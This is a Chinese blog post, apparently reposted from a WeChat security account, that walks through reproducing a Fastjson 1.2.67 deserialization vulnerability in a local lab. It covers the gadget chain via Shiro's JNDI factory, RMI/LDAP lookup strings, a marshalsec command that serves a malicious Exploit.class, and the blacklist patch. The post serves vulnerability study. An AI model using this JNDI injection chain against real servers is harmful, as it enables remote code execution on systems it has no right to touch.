Fastjson漏洞复现

南笙酒味 提交于 2021-02-17 04:15:07


前言

    前不久传的沸沸扬扬的FastJson反序列化漏洞,相信有不少企业都中招了,当然我司也未能幸免,基于次漏洞更具官方给的补漏措施,已完全可以避免在这不再阐述。本文就拿它从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。


以下便是部分官方公告:

0x01 Fastjson简介

    

    “Fastjson” 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 

https://github.com/alibaba/fastjson


0x02 环境搭建

JDK 版本:8u112 、fastjson: 1.2.67、shiro: 1.5.1、slf4j-nop: 1.7.25


0x1 添加依赖包

为了快速添加项目所需要的jar包,创建Maven项目如下

Maven文件:pom.xml

导入工程之后右键pom.xml ,点击下载源码source和document。

0x2 Idea中JDK版本选择

此漏洞应该选择:JDK 8u112

0x3 手动漏洞代码

此时在main文件夹中,添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数

0x03 漏洞原理

    

0x1 FastJson 类解析

   

如图:fastjson.java

因此,通过以上代码可以看出调用parseObject 函数会调用getattr()方法。


0x2 漏洞调用链分析

此时我们进行调用栈分析:

利用1:parseObject 对象类型转换

    在这一步的操作是将obj对应的对象类型转化为json,这肯定要获得getattr() 对象方法,从而会触发漏洞。

利用2:反射调用

将用invoke方法,调用getinstance()方法:

例:

利用3: 触发ldap

JndiObjectFactory、getinstance中调用了this.lookup(resourceName)方法:

例:

0x3 JNDI 注入

    在Java Name Directory Interface中,Java的命名和目录接口(JNDI)是一种Java 的API,类似于一个索引中心,允许客户端通过name发现和查找数据。JNDI包括Naming Service和Directory Service,此时,通过名称来寻找数据和对象的API,我们也称其中为一种绑定。但是JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

整个应用场景如:动态加载数据库配置文件,从而保持数据库代码不变动等。

漏洞注入方法:

JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");


假若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即:可实现JNDI注入实现任意代码执行。


注入1:RMI

    简称RMI(Remote Method Invocation,远程方法调用),远程方法调用是分布式编程中的基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。

注入2:LDAP

    简称:LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)一种目录服务协议,主要运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,从而能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。


0x04 漏洞利用

    0x1 Java 利用代码编译

0x2 此时开启 LDAP 服务

使用marshalsec启动一个ladp服务器 ,下载地址为

https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit


0x3 开启HTTP Web 服务

此时将编译好的Exploit.class 放在web目录下并开启服务

0x05 漏洞补丁

这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包

https://github.com/LeadroyaL/fastjson-blacklist


该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了

具体代码如下图所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理。名单hash生成算法,大概思路是将每一位都异或进行异或叠加。

   



往期精彩


渗透测试信息收集的方法

常见Web中间件漏洞利用及修复方法

内网渗透 | 流量转发场景测试

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成


感兴趣的可以点个关注!!!


关注「安全先师」
把握前沿安全脉搏



本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!